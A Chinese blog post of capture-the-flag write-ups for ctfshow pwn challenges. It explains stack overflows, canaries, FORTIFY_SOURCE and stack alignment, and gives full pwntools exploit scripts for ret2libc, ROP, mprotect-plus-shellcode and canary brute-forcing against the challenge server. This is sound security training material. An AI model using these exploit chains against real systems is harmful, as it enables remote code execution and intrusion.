首页 > 其他分享 >ctfshow

ctfshow

时间:2024-10-14 14:26:14浏览次数:1  
标签:函数 puts libc ctfshow pwn payload addr

pwn19

fork()函数创建了一个子进程。如果当前代码处于父进程(fork() 返回 1)则进入 if 语句块。如果是子进程(fork() 返回 0),则进入 else 语句块。在子进程中给予了用户一个 shell 权限,允许用户在子进程中输入数据并通过 system 运行。

值得注意的是在 read 函数前有一句 fclose(_bss_start);应该就是题目所说的关闭了输出流,所以正常地输入命令是没有办法回显的。

只要在命令后面加上>&0 来重定向就能实现回显了。

原理:

在 Linux 中,>&0 是一种输入重定向的语法。重定向是一种将命令的输入或输出从默认的位置改为指定位置的方法。在这个语法中,> 符号用于输出重定向,& 符号用于指定文件描述符(File Descriptor)。文件描述符是一个非负整数,用于在 Linux 中标识打开的文件或数据流。特别地,文件描述符 0 表示标准输入(stdin),它通常与终端或键盘相关联。

所以,>&0 的含义是将命令的输出重定向到标准输入,也就是将命令的输出内容发送到与终端或键盘关联的地方。一般情况下,输出重定向常用的有 >(覆盖)和 >>(追加)来将输出保存到文件中。

在子进程结束输入并回显后,会进入父进程执行 wait、sleep、printf 等操作,所以最后还是会输出'flag is not here'字符串,并结束程序。因此,想要再次输入需要重新 nc 连接。现在所有原理都清晰了,nc 连接后直接输入命令 cat ctfshow_flag >&0,即可得到 flag

pwn23

注意这个 signal 信号,当触发段错误时会执行这个 signal 里的 sigsegv_handler()函数,这个函数是来刷新缓冲区的,也就是会把缓冲区的内容全部打印出来。所以我们只需要发生一个段错误就可以了。

**<font style="color:#000000;background-color:#FFFFFF;">signal(11, (__sighandler_t)sigsegv_handler);</font>**

- `<font style="color:#000000;background-color:#FFFFFF;">11</font>`<font style="color:#000000;background-color:#FFFFFF;">:信号编号,对应于</font>`<font style="color:#000000;background-color:#FFFFFF;">SIGSEGV</font>`<font style="color:#000000;background-color:#FFFFFF;">,即段错误信号。</font>
- `<font style="color:#000000;background-color:#FFFFFF;">(__sighandler_t)sigsegv_handler</font>`<font style="color:#000000;background-color:#FFFFFF;">:将</font>`<font style="color:#000000;background-color:#FFFFFF;">sigsegv_handler</font>`<font style="color:#000000;background-color:#FFFFFF;">函数强制转换为</font>`<font style="color:#000000;background-color:#FFFFFF;">__sighandler_t</font>`<font style="color:#000000;background-color:#FFFFFF;">类型,这是</font>`<font style="color:#000000;background-color:#FFFFFF;">signal</font>`<font style="color:#000000;background-color:#FFFFFF;">函数所期望的信号处理函数类型。</font>

strcpy()函数如何发生段错误

<font style="color:#000000;background-color:#FFFFFF;">strcpy</font>函数是 C 标准库中用于将一个字符串复制到另一个字符串的函数。它的原型如下:

char *strcpy(char *dest, const char *src);
  • <font style="color:#000000;background-color:#FFFFFF;">dest</font>:目标字符串的指针。
  • <font style="color:#000000;background-color:#FFFFFF;">src</font>:源字符串的指针。

<font style="color:#000000;background-color:#FFFFFF;">strcpy</font>函数会将<font style="color:#000000;background-color:#FFFFFF;">src</font>指向的字符串(包括终止空字符<font style="color:#000000;background-color:#FFFFFF;">\0</font>)复制到<font style="color:#000000;background-color:#FFFFFF;">dest</font>指向的内存区域。如果<font style="color:#000000;background-color:#FFFFFF;">dest</font>指向的内存区域不足以容纳<font style="color:#000000;background-color:#FFFFFF;">src</font>字符串及其终止空字符,就会发生缓冲区溢出,可能导致段错误(segmentation fault)。

示例代码

以下是一个可能导致段错误的示例代码:

#include <stdio.h>
#include <string.h>

int main() {
    char src[] = "This is a long string that will cause a buffer overflow";
    char dest[10]; // 目标缓冲区只能容纳9个字符(加上终止空字符)

    strcpy(dest, src); // 这将导致缓冲区溢出

    printf("dest: %s\n", dest);

    return 0;
}

解释

  1. 定义字符串和缓冲区
    • <font style="color:#000000;background-color:#FFFFFF;">src</font>是一个较长的字符串,包含 52 个字符(包括终止空字符)。
    • <font style="color:#000000;background-color:#FFFFFF;">dest</font>是一个较小的缓冲区,只能容纳 10 个字符(包括终止空字符)。
  2. 调用<font style="color:#000000;background-color:#FFFFFF;">strcpy</font>函数
    • <font style="color:#000000;background-color:#FFFFFF;">strcpy(dest, src);</font>尝试将<font style="color:#000000;background-color:#FFFFFF;">src</font>字符串复制到<font style="color:#000000;background-color:#FFFFFF;">dest</font>缓冲区中。
    • 由于<font style="color:#000000;background-color:#FFFFFF;">src</font>字符串的长度超过了<font style="color:#000000;background-color:#FFFFFF;">dest</font>缓冲区的容量,<font style="color:#000000;background-color:#FFFFFF;">strcpy</font>会继续向<font style="color:#000000;background-color:#FFFFFF;">dest</font>缓冲区之后的内存写入数据,导致缓冲区溢出。
  3. 段错误
    • 缓冲区溢出会覆盖<font style="color:#000000;background-color:#FFFFFF;">dest</font>缓冲区之后的内存数据,可能导致程序访问非法内存地址,从而触发段错误。

避免段错误

为了避免段错误,可以使用<font style="color:#000000;background-color:#FFFFFF;">strncpy</font>函数,并指定最大复制长度,以确保不会发生缓冲区溢出。例如:

#include <stdio.h>
#include <string.h>

int main() {
    char src[] = "This is a long string that will cause a buffer overflow";
    char dest[10]; // 目标缓冲区只能容纳9个字符(加上终止空字符)

    strncpy(dest, src, sizeof(dest) - 1); // 最多复制9个字符
    dest[sizeof(dest) - 1] = '\0'; // 确保字符串以空字符结尾

    printf("dest: %s\n", dest);

    return 0;
}
  • <font style="color:#000000;background-color:#FFFFFF;">strncpy(dest, src, sizeof(dest) - 1);</font>最多复制<font style="color:#000000;background-color:#FFFFFF;">sizeof(dest) - 1</font>个字符(即 9 个字符),以避免缓冲区溢出。
  • <font style="color:#000000;background-color:#FFFFFF;">dest[sizeof(dest) - 1] = '\0';</font>确保目标字符串以空字符结尾。

通过这种方式,可以安全地复制字符串,避免段错误的发生。

常见段错误

段错误归根结底就是访问了非法内存

数组越界

scanf 错误使用

int b; scanf("%d",b);//应为scanf("%d",&b);

内存访问只读内存区域

pwn24

关闭了 NX,代表栈上的代码可以执行

这个地方 ida 不能反编译,只能看汇编了

pwn25(NX 保护)

我们看到 plt 表中含有 puts 函数跟 write 函数,那 got 表中也一定有他俩,那我们就使用 puts 函数来输出函数的内存地址

┌──(kali㉿kali)-[~/Desktop]
└─$ objdump -d -j .plt pwn

pwn:     文件格式 elf32-i386


Disassembly of section .plt:

08048370 <.plt>:
 8048370:       ff 35 04 a0 04 08       push   0x804a004
 8048376:       ff 25 08 a0 04 08       jmp    *0x804a008
 804837c:       00 00                   add    %al,(%eax)
        ...

08048380 <read@plt>:
 8048380:       ff 25 0c a0 04 08       jmp    *0x804a00c
 8048386:       68 00 00 00 00          push   $0x0
 804838b:       e9 e0 ff ff ff          jmp    8048370 <.plt>

08048390 <puts@plt>:
 8048390:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048396:       68 08 00 00 00          push   $0x8
 804839b:       e9 d0 ff ff ff          jmp    8048370 <.plt>

080483a0 <__libc_start_main@plt>:
 80483a0:       ff 25 14 a0 04 08       jmp    *0x804a014
 80483a6:       68 10 00 00 00          push   $0x10
 80483ab:       e9 c0 ff ff ff          jmp    8048370 <.plt>

080483b0 <write@plt>:
 80483b0:       ff 25 18 a0 04 08       jmp    *0x804a018
 80483b6:       68 18 00 00 00          push   $0x18
 80483bb:       e9 b0 ff ff ff          jmp    8048370 <.plt>

080483c0 <setvbuf@plt>:
 80483c0:       ff 25 1c a0 04 08       jmp    *0x804a01c
 80483c6:       68 20 00 00 00          push   $0x20
 80483cb:       e9 a0 ff ff ff          jmp    8048370 <.plt>

# 导入相关的库
from pwn import *
from LibcSearcher import LibcSearcher

# 打印调试信息
context.log_level = 'debug'

# 建立连接
p = remote("pwn.challenge.ctf.show",28256)
elf = ELF("./pwn")

# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))

# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts", puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = b'a' * offset + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)

# 进入交互模式
p.interactive()


pwn31(ASLR 和 PIE 绕过)(未解决)

目前存在的问题:

1.我的虚拟机里面 libcsearcher 找不到对应 libc 版本

2.ctfshow 虚拟机里面执行了但是打不通线上,只能打通本地

这里打印出来 main 函数的地址了,我们可以根据这个地址和 main 函数相对一基地址的偏移来得到程序的基地址,这样就可以绕过 ASLR 和 PIE 了

from pwn import *
from LibcSearcher import *
context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']

然后是获取溢出长度。

先用

cyclic 200

得到字符串。

然后启动程序,会让我们输入字符。把刚才生成的字符串输入进去。

这就是我们溢出的地址。

cyclic -l 0x6261616b

得到溢出长度

接下来就可以用 ret2libc 来写了。

from pwn import *
from LibcSearcher import *
context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * 'a' + p32(ebx) + 'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = 140 * 'a' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.send(payload)
p.interactive()

第 15 行写成 132 _ 'a' + p32(ebx) + 'a' _ 4 的原因是在 ctfshow 函数的最后有个 mov ebx, [ebp+var_4]。

pwn32

分析逻辑

getegid()用来取得执行目前进程有效组识别码. 有效的组识别码用来决定进程执行时组的权限.

int setregid(gid_t rgid, gid_t egid);
setregid()用来将参数rgid设为目前进程的真实组识别码,将参数egid设置为目前进程的有效组识别码。
如果参数rgid或egid值为-1,则对应的识别码不会改变。

程序接收三个参数 argc、argv 和 envp,

其中 argc 表示命令行参数的数量,argv 是一个字符指针数组,每个元素指向一个命令行参数的字符串,envp 则是一个指向环境变量的指针数组。

函数中首先调用了 getegid 和 setresgid 函数,用于获取和设置有效的组 ID。然后调用 logo 函数输出 logo 信息。

接着通过strtol函数将argv[1]中的前 10 个字节以及第 11 个字节拷贝到了 buf1 数组中,

然后通过strcpy函数将字符串”CTFshowPWN”拷贝到了 buf2 数组中,并通过 printf 函数输出了 buf1 和 buf2 的值。(注:其实还有 argv[0]的,这个参数是每个程序的都一定会有的,并且值为程序名称)

然后从argv[3]中解析出一个整数值,并将argv[2]中的前 v5 个字节拷贝到 buf1 数组中,通过strcpy函数将argv[1]拷贝到 buf2 数组中,并通过 printf 函数输出了 buf1 和 buf2 的值。

接着使用 fgets 函数从_bss_start 地址开始读取最多 11 个字节的数据到 buf1 数组中,

然后使用 printf 函数输出了 buf1 中的格式化字符串,并将 num 的地址作为参数传递给 printf 函数。

最后的 if 语句中,如果 argc 的值大于 4(因为存在argv[0],所以这里默认为 1),则调用 Undefined 函数,打开并读取一个名为”/ctfshow_flag”的文件

总之,只要我们让 argc 的值大于 4 就能拿到 flag 了

因为本题目 FORTIFY_SOURCE 没有开启,代表我们启动函数直接输入 4 个参数(这时 argc=5 > 4)就行了,而且这 4 个参数没有长度限制,如果开启 FORTIFY_SOURCE 就不好说了,因为开启了之后,由于程序存在 strcpy 和 memcpy 函数会检测长度,如果长度超过了限制,可能会使程序抛出异常而退出执行

pwn33

和上一题不同的是 memcpy 和 strcpy 这两个函数被替换成了mencpy_chk 和strcpy_chk 安全函数

可以看到这两个函数相比前两个函数只是加上了 11LL 这个参数加以限制,因为 buf1 和 buf2 在声明的时候的长度就是 11,所以程序为了防止溢出,使用后两个函数加上这两个数组的长度加以限制以防溢出

但是这里完全不影响我们输入 4 个参数拿到 flag,因为只要我们输入的第一个和第二个参数的长度不超过 11 就行了

同样方式拿到 flag

pwn34

可以看到很多函数相对之前来说都加上了_chk 字符。

printfchk 该函数与 printf 的区别在于

不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n 和 %2$n。在使用 %n 的时候会做一些检查

同样方式拿到 flag

栈溢出

pwn35

把 flag 读取到 flag 变量里。然后打印一堆东西。如果参数<=1 就 try again,否则就执行 ctfshow 函数,然后提示 flag 不在这。

注意这个函数。当发生对存储的无效访问时,会把 stderr 打印输出,即将 flag 的值打印输出。

ctfshow 函数里 dest 的长度是 104,但是 strcpy 是个危险函数,可以无限制复制,得到栈溢出。同时这个函数是把第一个 argv[1]赋给 dest,所以我们只要第一个参数大于 104 字节就行。

pwn36

设置模式

context(arch="i386",os="linux",log_level="debug")

先打印出一堆东西,然后进入 ctfshow 函数

ctfshow 函数里有个 get 可以造成栈溢出,然后左边符号表里有个 get_flag 后门函数,把 flag 读取到 stream 里,再给 s 最后打印出来。

这样我们就可以用 get 覆盖返回地址,执行 flag 函数。

from pwn import *

context(arch="i386",os="linux",log_level="debug")

p = remote("pwn.challenge.ctf.show",28104)
# p=process("./pwn")
elf=ELF("./pwn")
flag_addr=elf.sym['get_flag']
offset=0x28+4
payload=offset*b'a'+p32(flag_addr)
p.sendline(payload)
p.interactive()

这里flag_addr=elf.sym['get_flag']还是第一次用,以前不懂elf.sym不会用。

pwn38(栈对齐)

这里的难点是栈对齐。

如果是这样写的,就会在movaps xmmword ptr [rsp + 0x50], xmm0指令处报错。

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"

# p = remote("pwn.challenge.ctf.show",28213)
p=process(filename)
elf=ELF(filename)
flag_addr=elf.sym['backdoor']
padding=0xa+8
# payload=padding*b'a'+p64(flag_addr)
payload=flat([padding*'a',flag_addr])
gdb.attach(p)
# pause()

p.sendline(payload)

p.interactive()

报错的原因是这个指令需要 16 字节对齐(最后一位为 0),也就是说在这里,rsp + 0x50没有 16 字节对齐。看下面栈也可以看出来,rsp 的地址是0x7ffcc4f754f8,最后一位不是 0。所以我们要想办法变动一下栈,让 rsp 最后一位为 0。

第一种方法

添加一个 ret 语句

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"

# p = remote("pwn.challenge.ctf.show",28213)
p=process(filename)
elf=ELF(filename)
flag_addr=elf.sym['backdoor']
padding=0xa+8
payload=flat([padding*'a',0x400656,flag_addr])
gdb.attach(p)
# pause()

p.sendline(payload)

p.interactive()

第二种

跳过 push rbp,这会对栈造成影响。

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"

# p = remote("pwn.challenge.ctf.show",28213)
p=process(filename)
elf=ELF(filename)
flag_addr=elf.sym['backdoor']
padding=0xa+8
payload=flat([padding*'a',0x400658])
gdb.attach(p)
# pause()

p.sendline(payload)

p.interactive()

pwn43(未解决)

通过 vmmap,看到这个段是可读可写的。到 ida 里找这个段里有哪个变量可以存储

这个变量可以用 gets 函数写入,然后执行 system

方法一

正常的传参

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28227)
offset = (0x6C+4)
system_addr = 0x8048450
buf2_addr = 0x804B060
gets_addr = 0x8048420
payload = b'a'*offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

方法二(未解之谜)

用 32 位寄存器的思想(不理解)

在 32 位中,参数和返回值直接就存在栈中,但对于 payload 中有多个函数时,如果不是最后一个函数,则需要将其参数用寄存器来保存

# pwn43
from pwn import *

context.log_level = 'debug'
elf = ELF('./pwn43')
# io = remote('pwn.challenge.ctf.show', 28107)
io = process('pwn43')
gets = elf.sym['gets']
system = elf.sym['system']
buf2 = 0x804B060
pop_ebx = 0x08048409
pop_ebp = 0x0804884b
payload = cyclic(0x6c + 4) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
# payload = cyclic(0x6c + 4) + p32(gets) + p32(pop_ebp) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
io.sendline(payload)
io.sendline('/bin/sh')   # can also use 'sh'
# io.recv()
io.interactive()

pwn44

和上题一样,区别就是 64 位没有 ebx 寄存器,还需要用 rdi 代替,先找到地址.

pwn49

发现比较大,怀疑是静态编译

果然是

根据题目的提示,我们可能需要用到 mprotect 函数,那我们就先来了解一下什么是 mprotect 函数吧。这个函数是只要是静态链接的文件都会有的哦。

首先拖进 IDA,发现漏洞

可以算出偏移地址为 0x12 + 0x4 = 22

既然程序是静态连接,并且里面没有 system 函数,我们就不能使用 ret2libc 来打了。所以我们就是用 mprotect 函数来打,因为 mprotect 函数可以修改一段内存空间的权限,那我们选择一段内存空间将它的权限修改为可读可写可执行,然后将 shellcode 写在这段空间,之后再将程序的控制流转到这里,不就可以执行 shellcode 了嘛?即使文件开启了 NX,但是我们利用的是栈之外的空间,不久轻松绕过了 NX。hhh

我们的大概思路就是:

填充地址 + mprotect 函数 + 返回地址 + mprotect 的三个参数 + read 函数

我们看到 mprotect 函数是有三个参数的我们就必须要找到一个具有三个 pop 一个 ret 的 gadget,因为,我们将三个参数 pop 之后,栈顶就是 read 函数的地址了,这样 ret 之后就跳到 read 函数执行了。

需要解释的点:

  • 为什么要用参数把 pop 给扔出去呢?
    因为不扔出去的话,后面的函数无法执行,两种情况
    1. 两个函数以上的构成的 rop 链,下一个函数的地址不能作为上一个函数返回地址
    2. 第一个函数参数大于等于二的情况下,第二个函数作为返回地址时参数会受到影响

操作需要通过将参数移动到寄存器从而执行下一个函数(保证 ESP 在上一个函数执行完之后可以指向下一个函数的开

解释版 exp

from pwn import *

p = remote("pwn.challenge.ctf.show", "28141")
payload = 22 * 'a'
payload += p32(0x0806cdd0)# mprotect函数地址
payload += p32(0x08056194)# 3 pop 1 ret地址
payload += p32(0x080da000)# 需要修改的内存的起始地址
payload += p32(0x1000)# 修改内存空间的大小
payload += p32(0x7)# 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0)# read函数地址
payload += p32(0x080da000)# read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000)# shellcode地址
payload += p32(len(shellcode))
p.recvuntil("    * *************************************                           ")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

真实版 exp

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="i386",os="linux",log_level="debug")
filename="./pwn"

# p = remote("pwn.challenge.ctf.show",28121)
p=process(filename)
elf = ELF(filename)

padding = 0x12+0x4
read_addr=elf.symbols['read']
mprotect_add=elf.sym['mprotect']
pop_ret=0x08056194
shllcode=asm(shellcraft.sh())

payload=flat([ b'a' * padding,mprotect_add,pop_ret,0x080da000,0x1145,7,read_addr,0x080da000,0,0x080da000,0x114514])

# p.recv()
p.sendline(payload)
p.sendline(shllcode)


p.interactive()

pwn50

法一(ret2libc)

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"


p = remote("pwn.challenge.ctf.show", 28233)
# p=process(filename)
elf = ELF(filename)

# gdb.attach(p)
# pause()

padding = 0x20+0x8
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_ret=0x4007e3
ret_addr=0x04004fe

payload=flat([ b'a' * padding,rdi_ret,puts_got,puts_plt,ret_addr,main_addr])
p.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

#本地
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc_base=puts_addr-libc.symbols['puts']
# system_addr=libc_base+libc.symbols['system']
# binsh_addr=libc_base+next(libc.search(b"/bin/sh"))

# payload=flat([b'a' * padding,rdi_ret,binsh_addr,system_addr])
# p.sendline(payload)

#远程
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload=flat([b'a' * padding,rdi_ret,binsh_addr,system_addr])
p.sendline(payload)

p.interactive()

法二(mprotect 修改权限执行 shellcode)

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"


# p = remote("pwn.challenge.ctf.show", 28233)
p=process(filename)
elf = ELF(filename)

# gdb.attach(p)
# pause()

padding = 0x20+0x8
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
bss_start_addr= 0x601000
pop_rdi_ret=0x4007e3
ret_addr=0x04004fe
shellcode_addr=0x601000+0x100

#泄露libc地址
payload=flat([ b'a' * padding,pop_rdi_ret,puts_got,puts_plt,main_addr])
p.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

#用mprotect函数将bss段设置为可读可写可执行
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address=puts_addr-libc.symbols['puts']
pop_rsi_ret=libc.address+0x02601f
pop_rdx_r12_ret=libc.address+0x119431 #只有red,r12了,凑合用吧

#用mprotect修改权限
payload=flat([b'a'*padding,pop_rdi_ret,bss_start_addr,pop_rsi_ret,0x10000,pop_rdx_r12_ret,7,0,libc.symbols['mprotect'],main_addr])
p.sendline(payload)
#写入shellcode
payload=flat([b'a'*padding,pop_rdi_ret,shellcode_addr,libc.symbols['gets'],shellcode_addr])
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
#执行shellcode
# payload=flat([padding*b'a',shellcode_addr])
# p.sendline(payload)

p.interactive()

出现的问题

  • 设置 rei 和 rdi 的 gadgate 在 pwn 找不到就到 libc 里找,找到之后直接pop_rsi_ret=0x02601fpop_rdx_r12_ret=0x119431,没加上libc.address

pwn51(逆向分析漏洞,strcpy 函数漏洞)

完全看不懂啊淦,全是看别人的 wp,不知道关键函数的逻辑怎么得出来的

复制的别人都 wp

这个题的漏洞是一个 I 换七个字母 IronMan,需要覆盖 118 个字节,输入 16 个 I 即可,逻辑很简单,但是需要逆向分析

back_door = 0x0804902E
payload = b'I'*16 + p32(back_door)
p.sendline(payload)
p.interactive()

pwn52(函数传参调试控制)

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="i386",os="linux",log_level="debug")
filename="./pwn"

p = remote("pwn.challenge.ctf.show", 28184)
# p=process(filename)
elf = ELF(filename)

padding=0x6c+4
back_door=elf.sym['flag']

payload=flat([padding*b'a',back_door,0,876,877])
p.sendline(payload)

p.interactive()

pwn53(人工伪造 cannary)

进入 ida,这个程序的逻辑是

这个 ctfshow 函数先是循环读取,每次读取一个字节,直到读取到换行符(ascii:10 0xa),循环读取才会结束,__isoc99_sscanf(v2,”%d”,&nbytes)这个函数从 v2 中读取一个整数,存放到 nbytes 变量中,这个变量决定了我们能够向 buf 写入的数据大小,我们想要造成溢出,这个数据就得大点,接下来,就去比较 s1 与我们的 global_canary 是否相同,相同这个函数才能正常返回,造成溢出

那我们就得去爆破这个 global_canary 的值了,这个值是静态的,是不变的,因为它起到的是类似 canary 的效果,所以我们可以反复连接程序,第一次去覆盖 global_canary 的一个字节,直到爆破出第一个字节所对应的值后,我们再改为覆盖两个字节,去爆破出第二个字节的值,依次类推,直到第四个字节爆破出来

from pwn import *

context(arch="i386",os="linux")
filename="./pwn"

# canary=b''

# for j in range(4):
#     for i in range(0xff):
#         p = remote("pwn.challenge.ctf.show",28184)
#         # p=process(filename)
#         p.sendline(str(-1))
#         payload=b'a'*0x20+canary+p8(i) #这里用p8()原因是p8()会发送不可见字符,如果用b''的话我们只能发送可见字符
#         p.sendafter(b'$ ',payload) #不能用send,用了后面的ans里会是乱码,不知道为什么
#         ans=p.recv()
#         print('ans---------->',ans)
#         if b'Canary Value Incorrect!'not in ans:
#             canary+=p8(i)
#             break
#         else:
#             print("tryying...")
#             p.close()
# print('cancry is ',canary)
canary= b'36D!' #这里是我已经爆破出来了才写的
p = remote("pwn.challenge.ctf.show",28184)
# p=process(filename)
elf=ELF(filename)
flag_addr=0x8048696
p.sendline(str(-1))
# payload=0x20*b'a'+canary+12*b'a'+p32(flag_addr)
payload=0x20*b'a'+canary+b'\x00' * (12+4)+p32(flag_addr) #这里填充完cannary之后应该填充12个字节,但是还要加4填充到ret地址
p.sendafter(b'$ ',payload)
p.interactive()

标签:函数,puts,libc,ctfshow,pwn,payload,addr
From: https://www.cnblogs.com/r0xy/p/18464021

相关文章

  • CTFshow-web入门(1-20)-信息搜集
    信息搜集目录信息搜集web1web2web3web4web5web6web7web8web9web10web11web12web13web14web15web16web17web18web19web20web1打开网页发现没有东西查看源代码发现flagflag:ctfshow{c530c49f-f86e-49bc-bc58-8a493b179adb}web2手动添加view-source:flag:ctfshow{7d18c83c......
  • ctfshow-web-信息搜集(11-17)
    web11题目提示:域名其实也可以隐藏信息,比如ctfshow.com就隐藏了一条信息。原理:通过Dns检查查询Flag。这里可以用阿里云的网站:Dns查询网站:阿里云网站运维检测平台(aliyun.com)web12题目提示:有时候网站上的公开信息,就是管理员常用密码原理:查看robots.txt文件,找到后台登录页......
  • 基于CTFshow的文件上传二次渲染绕过与CTF实战
    1.二次渲染简介二次渲染指的是上传的文件(如图片),为了显示的更加规范(尺寸、像素),网站会对文件进行二次处理,经过解码或转换可能导致其中的恶意代码失效。例如,后门程序在图像渲染过程中可能被清除或无法执行。2.二次渲染存在性判断2.1文件大小变化访问上传的文件地址,重新下载下......
  • CTFSHOW pwn03 WrriteUp
    本文来自一个初学CTF的小白,如有任何问题请大佬们指教!题目来源CTFShowpwn-pwn03(ret2libc)https://ctf.show/challenges思路1.下载题目放到checksec先查一下2.IDA打开题目Shift+F12查看字符串发现没有system和/bin/sh,但是有libc文件。3.用gdb的cyclic查询一下溢出所......
  • [CTFshow] 文件包含 78~88,116~117
    web78if(isset($_GET['file'])){$file=$_GET['file'];include($file);}else{highlight_file(__FILE__);}php伪协议,data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码?file=data://text/plain,<?=system('ls')?>?file=dat......
  • ctfshow web13
     尝试 常规姿势上传文件打开网站初步判定为文件上传漏洞。随便选择几个文件上传,提示错误不选择任何文件直接点提交也会报错打开burpsuite抓包,改掉MIME类型,也就是图示位置,发现也不行,应该不是MIME过滤一头雾水,只能换个思路。 -------------------------......
  • ctfshow web红包题第二弹题解
    从今天开始记录刷题日常打开靶场平平无奇,看源代码发现如下提示get方式提交cmd参数,猜测是命令执行漏洞,先写个phpinfo();试试。有用,但报错cerror查看显示出来部分php代码,过滤了很多东西if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)) 第一个正则表达式把字母数字几乎全......
  • ctfshow-web入门-信息搜集(web1-web10)
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录web1(查看源代码)右击页面查看源代码web2(js前台拦截===无效操作)打开题目地址采用burp抓包并进行重发数据包web3(没思路的时候抓个包看看,可能会有意外收获)打开题目链接查看源码无果采用burp抓包并......
  • 关于ctfshow的web题目的文件包含题目的思考
    今日深思两个题目ctfshow的web方向的web3和web4开始有疑惑了:<?phpinclude($_GET['url']);?>这两个题目都是这句话我一眼看上去是文件包含,我发现访问到一些目录下的文件,比如etc/passwd,是能够回显的第三题的write_up是利用php伪协议去实现渗透第四题的write_up是利用网站nig......
  • 【CTF Web】CTFShow 敏感信息公布 Writeup(目录扫描+信息收集+敏感信息泄露)
    敏感信息公布10有时候网站上的公开信息,就是管理员常用密码解法用dirsearch扫描。dirsearch-uhttps://761187ad-86d1-4a5e-9003-71f2c83577b1.challenge.ctf.show/找到robots.txt。访问:https://761187ad-86d1-4a5e-9003-71f2c83577b1.challenge.ctf.show/ro......